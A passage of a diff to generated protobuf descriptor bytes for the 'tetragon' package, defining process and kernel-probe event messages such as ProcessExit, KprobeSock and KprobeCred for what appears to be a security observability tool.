0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, - 0x52, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x12, 0x23, 0x0a, 0x0d, 0x66, 0x75, 0x6e, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0c, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2c, 0x0a, - 0x04, 0x61, 0x72, 0x67, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x72, 0x67, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x04, 0x61, 0x72, 0x67, 0x73, 0x12, 0x30, 0x0a, 0x06, 0x72, - 0x65, 0x74, 0x75, 0x72, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x74, 0x65, - 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x72, 0x67, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x12, 0x2e, 0x0a, - 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, + 0x63, 0x65, 0x73, 0x73, 0x52, 0x06, 0x70, 0x61, 0x72, 0x65, 0x6e, 0x74, 0x12, 0x2f, 0x0a, 0x09, + 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x52, 0x09, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x22, 0xf6, 0x01, + 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x45, 0x78, 0x69, 0x74, 0x12, 0x2b, 0x0a, + 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, + 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x52, 0x07, 0x70, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x29, 0x0a, 0x06, 0x70, 0x61, + 0x72, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, + 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x06, 0x70, + 0x61, 0x72, 0x65, 0x6e, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x6c, 0x12, 0x16, 0x0a, + 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x06, 0x73, + 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x2e, 0x0a, 0x04, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x52, + 0x04, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x2f, 0x0a, 0x09, 0x61, 0x6e, 0x63, 0x65, 0x73, 0x74, 0x6f, + 0x72, 0x73, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, + 0x67, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x52, 0x09, 0x61, 0x6e, 0x63, + 0x65, 0x73, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x8a, 0x02, 0x0a, 0x0a, 0x4b, 0x70, 0x72, 0x6f, 0x62, + 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x12, 0x12, 0x0a, + 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, + 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, + 0x04, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x6d, 0x61, 0x72, + 0x6b, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x14, 0x0a, + 0x05, 0x73, 0x61, 0x64, 0x64, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x61, + 0x64, 0x64, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x64, 0x61, 0x64, 0x64, 0x72, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x64, 0x61, 0x64, 0x64, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x70, 0x6f, + 0x72, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, + 0x14, 0x0a, 0x05, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x64, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x63, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x18, + 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x63, 0x6f, 0x6f, 0x6b, 0x69, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x73, 0x74, 0x61, 0x74, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, + 0x61, 0x74, 0x65, 0x22, 0xc9, 0x02, 0x0a, 0x09, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6b, + 0x62, 0x12, 0x12, 0x0a, 0x04, 0x68, 0x61, 0x73, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x04, 0x68, 0x61, 0x73, 0x68, 0x12, 0x10, 0x0a, 0x03, 0x6c, 0x65, 0x6e, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x03, 0x6c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x70, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x70, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x04, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x61, 0x64, 0x64, 0x72, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x61, 0x64, 0x64, 0x72, 0x12, 0x14, 0x0a, + 0x05, 0x64, 0x61, 0x64, 0x64, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x64, 0x61, + 0x64, 0x64, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x05, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x64, 0x70, 0x6f, + 0x72, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x12, + 0x14, 0x0a, 0x05, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x20, 0x0a, 0x0c, 0x73, 0x65, 0x63, 0x5f, 0x70, 0x61, 0x74, + 0x68, 0x5f, 0x6c, 0x65, 0x6e, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x73, 0x65, 0x63, + 0x50, 0x61, 0x74, 0x68, 0x4c, 0x65, 0x6e, 0x12, 0x22, 0x0a, 0x0d, 0x73, 0x65, 0x63, 0x5f, 0x70, + 0x61, 0x74, 0x68, 0x5f, 0x6f, 0x6c, 0x65, 0x6e, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, + 0x73, 0x65, 0x63, 0x50, 0x61, 0x74, 0x68, 0x4f, 0x6c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, + 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x22, + 0x50, 0x0a, 0x0e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x61, 0x64, 0x64, + 0x72, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x64, 0x64, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x61, 0x64, 0x64, 0x72, 0x12, 0x12, 0x0a, + 0x04, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x6f, 0x72, + 0x74, 0x22, 0x3e, 0x0a, 0x10, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x61, + 0x64, 0x64, 0x72, 0x55, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x66, 0x61, 0x6d, 0x69, 0x6c, 0x79, 0x12, 0x12, 0x0a, + 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, + 0x68, 0x22, 0x22, 0x0a, 0x0c, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x4e, 0x65, 0x74, 0x44, 0x65, + 0x76, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x6c, 0x0a, 0x0a, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x50, + 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, + 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, + 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x6c, + 0x61, 0x67, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x22, 0x6c, 0x0a, 0x0a, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x46, 0x69, 0x6c, + 0x65, 0x12, 0x14, 0x0a, 0x05, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x6d, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, 0x68, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x66, + 0x6c, 0x61, 0x67, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x6c, 0x61, 0x67, + 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x22, 0x50, 0x0a, 0x14, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x54, 0x72, 0x75, 0x6e, 0x63, + 0x61, 0x74, 0x65, 0x64, 0x42, 0x79, 0x74, 0x65, 0x73, 0x12, 0x1b, 0x0a, 0x09, 0x62, 0x79, 0x74, + 0x65, 0x73, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x62, 0x79, + 0x74, 0x65, 0x73, 0x41, 0x72, 0x67, 0x12, 0x1b, 0x0a, 0x09, 0x6f, 0x72, 0x69, 0x67, 0x5f, 0x73, + 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x6f, 0x72, 0x69, 0x67, 0x53, + 0x69, 0x7a, 0x65, 0x22, 0xbe, 0x01, 0x0a, 0x0a, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x43, 0x72, + 0x65, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, + 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, + 0x65, 0x52, 0x09, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x38, 0x0a, 0x09, + 0x65, 0x66, 0x66, 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0e, 0x32, + 0x1a, 0x2e, 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, + 0x69, 0x6c, 0x69, 0x74, 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x09, 0x65, 0x66, 0x66, + 0x65, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x3c, 0x0a, 0x0b, 0x69, 0x6e, 0x68, 0x65, 0x72, 0x69, + 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x74, 0x65, + 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x43, 0x61, 0x70, 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, + 0x69, 0x65, 0x73, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0b, 0x69, 0x6e, 0x68, 0x65, 0x72, 0x69, 0x74, + 0x61, 0x62, 0x6c, 0x65, 0x22, 0x5d, 0x0a, 0x11, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x4c, 0x69, + 0x6e, 0x75, 0x78, 0x42, 0x69, 0x6e, 0x70, 0x72, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x74, + 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x70, 0x61, 0x74, 0x68, 0x12, 0x14, 0x0a, + 0x05, 0x66, 0x6c, 0x61, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x6c, + 0x61, 0x67, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x22, 0x59, 0x0a, 0x10, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x43, 0x61, 0x70, + 0x61, 0x62, 0x69, 0x6c, 0x69, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0xd5, + 0x01, 0x0a, 0x13, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x55, 0x73, 0x65, 0x72, 0x4e, 0x61, 0x6d, + 0x65, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x31, 0x0a, 0x05, 0x6c, 0x65, 0x76, 0x65, 0x6c, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x05, 0x6c, 0x65, 0x76, 0x65, 0x6c, 0x12, 0x32, 0x0a, 0x05, 0x6f, 0x77, 0x6e, + 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, 0x49, 0x6e, 0x74, 0x33, + 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x6f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x32, 0x0a, + 0x05, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x55, + 0x49, 0x6e, 0x74, 0x33, 0x32, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x67, 0x72, 0x6f, 0x75, + 0x70, 0x12, 0x23, 0x0a, 0x02, 0x6e, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, + 0x74, 0x65, 0x74, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x52, 0x02, 0x6e, 0x73, 0x22, 0x61, 0x0a, 0x0d, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, + 0x42, 0x70, 0x66, 0x41, 0x74, 0x74, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x54, + 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x54, + 0x79, 0x70, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x49, 0x6e, 0x73, 0x6e, 0x43, 0x6e, 0x74, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x49, 0x6e, 0x73, 0x6e, 0x43, 0x6e, 0x74, 0x12, 0x1a, 0x0a, + 0x08, 0x50, 0x72, 0x6f, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x08, 0x50, 0x72, 0x6f, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x61, 0x0a, 0x0d, 0x4b, 0x70, 0x72, + 0x6f, 0x62, 0x65, 0x42, 0x70, 0x66, 0x50, 0x72, 0x6f, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, + 0x6f, 0x67, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, + 0x6f, 0x67, 0x54, 0x79, 0x70, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x49, 0x6e, 0x73, 0x6e, 0x43, 0x6e, + 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x49, 0x6e, 0x73, 0x6e, 0x43, 0x6e, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x67, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x7f, 0x0a, 0x0f, + 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x50, 0x65, 0x72, 0x66, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, + 0x1e, 0x0a, 0x0a, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x46, 0x75, 0x6e, 0x63, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x46, 0x75, 0x6e, 0x63, 0x12, + 0x12, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x54, + 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x04, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x20, 0x0a, 0x0b, 0x50, + 0x72, 0x6f, 0x62, 0x65, 0x4f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, + 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x62, 0x65, 0x4f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x9a, 0x01, + 0x0a, 0x0c, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x42, 0x70, 0x66, 0x4d, 0x61, 0x70, 0x12, 0x18, + 0x0a, 0x07, 0x4d, 0x61, 0x70, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x4d, 0x61, 0x70, 0x54, 0x79, 0x70, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x4b, 0x65, 0x79, 0x53, + 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x4b, 0x65, 0x79, 0x53, 0x69, + 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x53, 0x69, 0x7a, 0x65, + 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x61, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x4d, 0x61, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x61, 0x70, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x4d, 0x61, 0x70, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x27, 0x0a, 0x0b, 0x4b, 0x70, + 0x72, 0x6f, 0x62, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x65, 0x73, + 0x73, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x65, 0x73, 0x73, + 0x61, 0x67, 0x65, 0x22, 0x2d, 0x0a, 0x09, 0x53, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x49, 0x64, + 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x69, 0x64, + 0x12, 0x10, 0x0a, 0x03, 0x61, 0x62, 0x69, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x61, + 0x62, 0x69, 0x22, 0xe8, 0x0d, 0x0a, 0x0e, 0x4b, 0x70, 0x72, 0x6f, 0x62, 0x65, 0x41, 0x72, 0x67, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x1f, 0x0a, 0x0a, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, + 0x61, 0x72, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x09, 0x73, 0x74, 0x72, + 0x69, 0x6e, 0x67, 0x41, 0x72, 0x67, 0x12, 0x19, 0x0a, 0x07, 0x69, 0x6e, 0x74, 0x5f, 0x61, 0x72, + 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x48, 0x00, 0x52, 0x06, 0x69, 0x6e, 0x74, 0x41, 0x72, + 0x67, 0x12, 0x2e, 0x0a, 0x07, 0x73, 0x6b, 0x62, 0x5f, 0x61, 0x72, 0x67, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x74, 0x65, 